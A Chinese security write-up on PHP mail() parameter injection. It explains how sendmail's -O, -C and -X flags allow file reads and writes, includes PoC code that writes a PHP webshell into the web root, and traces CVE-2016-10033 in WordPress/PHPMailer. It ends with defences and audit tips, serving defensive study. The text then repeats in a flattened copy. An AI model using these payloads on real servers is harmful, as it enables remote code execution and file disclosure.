php敏感函数系列之mail()函数可能存在的风险和问题
字数 1358 2025-08-27 12:33:37

PHP mail()函数安全风险与漏洞分析

一、mail()函数基础介绍

1. 函数定义与参数

mail(to, subject, message, headers, parameters)
  • $to: 邮件接收者(必需)
  • $subject: 邮件主题,不能包含任何换行字符(必需)
  • $message: 邮件正文内容(必需)
  • $headers: 额外邮件头,如From、Cc、Bcc等(可选)
  • $parameters: 传递给sendmail程序的额外参数(可选)

2. 风险点

第五个参数$parameters会直接传递给sendmail程序,而没有任何过滤,这是安全问题的根源。

二、sendmail的危险参数

sendmail程序有几个关键参数可能被滥用:

  1. -O option=value

    • 设置sendmail的配置选项
    • 特别关注QueueDirectory参数,用于设置邮件队列目录
  2. -X logfile

    • 记录所有邮件传输日志
    • 不限制日志文件路径和格式,可写入任意文件
  3. -C file

    • 使用替代的配置文件
    • 可加载任意路径的任意格式文件

三、安全漏洞类型

1. 任意文件读取漏洞

利用原理
通过-C参数加载目标文件作为配置文件,然后通过-X参数将文件内容写入日志文件。

示例代码

<?php
$to = 'a@b.c';
$subject = '<?php system($_GET["cmd"]); ?>';
$message = '';
$headers = '';
$options = '-OQueueDirectory=/tmp -C/var/www/html/phpinfo.php -X/var/www/html/1.txt';
mail($to, $subject, $message, $headers, $options);
?>

执行效果

  1. 设置临时目录为/tmp
  2. 加载/var/www/html/phpinfo.php作为配置文件
  3. 将配置文件内容写入/var/www/html/1.txt

2. 任意文件写入/代码执行漏洞

利用原理
直接通过-X参数将恶意内容写入web可访问目录。

示例代码

<?php
$to = 'a@b.c';
$subject = '<?php system($_GET["cmd"]); ?>';
$message = '';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';
mail($to, $subject, $message, $headers, $options);
?>

执行效果
将邮件内容(包含PHP代码)直接写入/var/www/html/rce.php,实现webshell写入。

四、实际案例分析:WordPress CVE-2016-10033

1. 漏洞链分析

  1. mail()调用点

    private function mailPassthru($to, $subject, $body, $header, $params) {
        // ...
        $result = @mail($to, $subject, $body, $header, $params);
        // ...
    }
    
  2. $params来源

    protected function mailSend($header, $body) {
        $params = null;
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        // ...
        $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
    }
    
  3. $this->Sender来源

    $phpmailer->setFrom($from_email, $from_name, false);
    
  4. $from_email来源

    $sitename = strtolower($_SERVER['SERVER_NAME']);
    $from_email = 'wordpress@' . $sitename;
    

2. 利用条件

  • 攻击者可控制$_SERVER['SERVER_NAME'](通过Host头注入)
  • 需要绕过isShellSafe()的过滤检查

3. 漏洞利用流程

  1. 通过伪造Host头控制SERVER_NAME
  2. 构造恶意参数注入sendmail命令
  3. 实现任意文件写入或代码执行

五、防护措施

  1. 输入验证

    • 严格过滤mail()函数的第五个参数
    • 禁止用户输入直接作为参数传递
  2. 配置加固

    • 禁用PHP的safe_mode时特别小心
    • 限制sendmail的执行权限
  3. 代码审计要点

    • 检查所有mail()调用是否使用第五参数
    • 追踪第五参数的数据来源是否可控
    • 检查是否有适当的过滤措施
  4. 替代方案

    • 使用成熟的邮件库(如PHPMailer、SwiftMailer)
    • 这些库通常有更好的安全控制和参数过滤

六、审计技巧

  1. 快速定位漏洞

    • 全局搜索mail(查找所有调用点
    • 检查第五个参数是否存在且是否可控
  2. 数据流追踪

    • 从mail()调用向上追溯参数来源
    • 特别关注来自用户输入的数据
  3. 过滤检查

    • 检查参数是否经过适当的过滤和转义
    • 验证过滤逻辑是否可被绕过

通过理解mail()函数的安全风险,审计人员可以更高效地发现相关漏洞,开发人员也能编写更安全的邮件发送代码。

PHP mail()函数安全风险与漏洞分析 一、mail()函数基础介绍 1. 函数定义与参数 $to : 邮件接收者(必需) $subject : 邮件主题,不能包含任何换行字符(必需) $message : 邮件正文内容(必需) $headers : 额外邮件头,如From、Cc、Bcc等(可选) $parameters : 传递给sendmail程序的额外参数(可选) 2. 风险点 第五个参数 $parameters 会直接传递给sendmail程序,而没有任何过滤,这是安全问题的根源。 二、sendmail的危险参数 sendmail程序有几个关键参数可能被滥用: -O option=value 设置sendmail的配置选项 特别关注 QueueDirectory 参数,用于设置邮件队列目录 -X logfile 记录所有邮件传输日志 不限制日志文件路径和格式,可写入任意文件 -C file 使用替代的配置文件 可加载任意路径的任意格式文件 三、安全漏洞类型 1. 任意文件读取漏洞 利用原理 : 通过 -C 参数加载目标文件作为配置文件,然后通过 -X 参数将文件内容写入日志文件。 示例代码 : 执行效果 : 设置临时目录为 /tmp 加载 /var/www/html/phpinfo.php 作为配置文件 将配置文件内容写入 /var/www/html/1.txt 2. 任意文件写入/代码执行漏洞 利用原理 : 直接通过 -X 参数将恶意内容写入web可访问目录。 示例代码 : 执行效果 : 将邮件内容(包含PHP代码)直接写入 /var/www/html/rce.php ,实现webshell写入。 四、实际案例分析:WordPress CVE-2016-10033 1. 漏洞链分析 mail()调用点 : $params来源 : $this->Sender来源 : $from_ email来源 : 2. 利用条件 攻击者可控制 $_SERVER['SERVER_NAME'] (通过Host头注入) 需要绕过 isShellSafe() 的过滤检查 3. 漏洞利用流程 通过伪造Host头控制SERVER_ NAME 构造恶意参数注入sendmail命令 实现任意文件写入或代码执行 五、防护措施 输入验证 : 严格过滤mail()函数的第五个参数 禁止用户输入直接作为参数传递 配置加固 : 禁用PHP的safe_ mode时特别小心 限制sendmail的执行权限 代码审计要点 : 检查所有mail()调用是否使用第五参数 追踪第五参数的数据来源是否可控 检查是否有适当的过滤措施 替代方案 : 使用成熟的邮件库(如PHPMailer、SwiftMailer) 这些库通常有更好的安全控制和参数过滤 六、审计技巧 快速定位漏洞 : 全局搜索 mail( 查找所有调用点 检查第五个参数是否存在且是否可控 数据流追踪 : 从mail()调用向上追溯参数来源 特别关注来自用户输入的数据 过滤检查 : 检查参数是否经过适当的过滤和转义 验证过滤逻辑是否可被绕过 通过理解mail()函数的安全风险,审计人员可以更高效地发现相关漏洞,开发人员也能编写更安全的邮件发送代码。